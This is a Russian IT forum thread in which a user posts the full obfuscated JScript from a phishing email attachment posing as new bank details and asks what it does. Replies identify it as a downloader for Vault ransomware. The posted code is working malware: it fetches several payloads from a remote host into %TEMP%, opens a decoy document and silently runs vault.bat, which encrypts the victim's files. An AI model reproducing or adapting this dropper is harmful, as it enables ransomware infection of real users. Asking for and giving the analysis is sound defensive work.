Имя: Пароль:
IT
Админ
Вопрос спецам по JS
0 s-pc
 
17.03.15
11:50
Пришло письмо на почту, типа от контрагента, типа "Мы поменяли счет", типа "Новые реквизиты в прикрепленном файле". В прикрепленном файле архив rar, а в архиве какой-то js файл. Ну, короче, типичный развод на тему "обязательно запустите у себя этот файл и будет вам сюрприз".

Вот полный код этого js-файла.

=============================


/////// ha2ZKqPLvmqT58ML8kHaM4rAkaF3ZZA5nQ6KyLc4kBCyd7wSZPZSw3MtkGvHHGhheHbv9UGD6wBTPvMsVNGCSmsdM5n2JFyhM3gVp8vcmCWW6Z2SG
/////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm

/////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v /////
var _$_b78e=["%TEMP%\x5C","%TEMP%\x5Cvault.bat","download-attachment","%TEMP%\x5Cerror.doc","WScript.Shell","ExpandEnvironmentStrings","Run","MSXML2.XMLHTTP","GET","open","send","Scripting.FileSystemObject","ADODB.Stream","Open","Type","ResponseBody","Write","Position","SaveToFile","Close","http://",".com/word.pdf","","error.doc",".com/403.vlt","403.vlt",".com/iconv.vlt","iconv.vlt",".com/index.vlt","index.vlt",".com/input.vlt","vault.bat";];
/////// ha2ZKqPLvmqT58ML8kHaM4rAkaF3ZZA5nQ6KyLc4kBCyd7wSZPZSw3MtkGvHHGhheHbv9UGD6wBTPvMsVNGCSmsdM5n2JFyhM3gVp8vcmCWW6Z2SG
/////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm
/////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v /////
var btcapp=_$_b78e[0];var sea=_$_b78e[1];var image=_$_b78e[2];var fingr=_$_b78e[3];var WshShell=CreateObject(_$_b78e[4]);btcapp=WshShell[_$_b78e[5]](btcapp);
////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm
function CreateObject(a){return  new ActiveXObject(a)}function lanka(sea){WshShell[_$_b78e[6]](sea,0,0)}
/////// ha2ZKqPLvmqT58ML8kHaM4rAkaF3ZZA5nQ6KyLc4kBCyd7wSZPZSw3MtkGvHHGhheHbv9UGD6wBTPvMsVNGCSmsdM5n2JFyhM3gVp8vcmCWW6Z2SG
/////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm
////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm
/////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v /////
function oro(btcapp){WshShell[_$_b78e[6]](btcapp,1,0)}
///////// BKFXBaHTgpKgGNjNYF8yRJ3nTfNtT5uzHDFBqrHU6szehTrfX6YyQVfBNxMnBtRRbV9tJX63u /////////
function ddq(e,btcapp){var d= new ActiveXObject(_$_b78e[7]);d[_$_b78e[9]](_$_b78e[8],e,0);d[_$_b78e[10]]();var b= new ActiveXObject(_$_b78e[11]);var c= new ActiveXObject(_$_b78e[12]);c[_$_b78e[13]]();c[_$_b78e[14]]=1;c[_$_b78e[16]](d[_$_b78e[15]]);c[_$_b78e[17]]=0;c[_$_b78e[18]](btcapp,2);c[_$_b78e[19]]();}ddq(_$_b78e[20]+image+_$_b78e[21],_$_b78e[22]+btcapp+_$_b78e[23]);try{oro(_$_b78e[22]+fingr+_$_b78e[22])}catch(okay){};ddq(_$_b78e[20]+image+_$_b78e[24],_$_b78e[22]+btcapp+_$_b78e[25]);ddq(_$_b78e[20]+image+_$_b78e[26],_$_b78e[22]+btcapp+_$_b78e[27]);
/////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm //////////////////
ddq(_$_b78e[20]+image+_$_b78e[28],_$_b78e[22]+btcapp+_$_b78e[29]);ddq(_$_b78e[20]+image+_$_b78e[30],_$_b78e[22]+btcapp+_$_b78e[31]);
////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm
/////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v /////
lanka(_$_b78e[22]+sea+_$_b78e[22]);
////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm
/////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v /////

=============================



Подскажите, пожалуйста, хотя бы в общих чертах - чего этот файл хотел сделать с компьютером. Без подробностей - просто для удовлетворения любопытства.
1 Зеленый Кот
 
17.03.15
11:56
запусти - узнаешь!
2 Зеленый Кот
 
17.03.15
11:57
xD

зашифрован твой js!
предположительно хотел создать файл vault.bat и запустить, почле чего твои фалы зашифровались бы...
3 ice777
 
17.03.15
11:57
(0) в песочнице запусти.
4 Гёдза
 
17.03.15
11:58
что-то качает и запускает потом
5 Зеленый Кот
 
17.03.15
11:59
что-то подобное...

Вирус изменил расширение на .vault [Trojan-Ransom.BAT.Scatter.ak ]
Добрый день.
Получил письмо, как из налоговой, открыл, после все доки ворд, эксель и картинки изменили расширение.vault. Возможно ли эти файлы восстановить?

http://virusinfo.info/showthread.php?t=179340&s=0ddcbdd96e2fffe954c8c722c14b2b79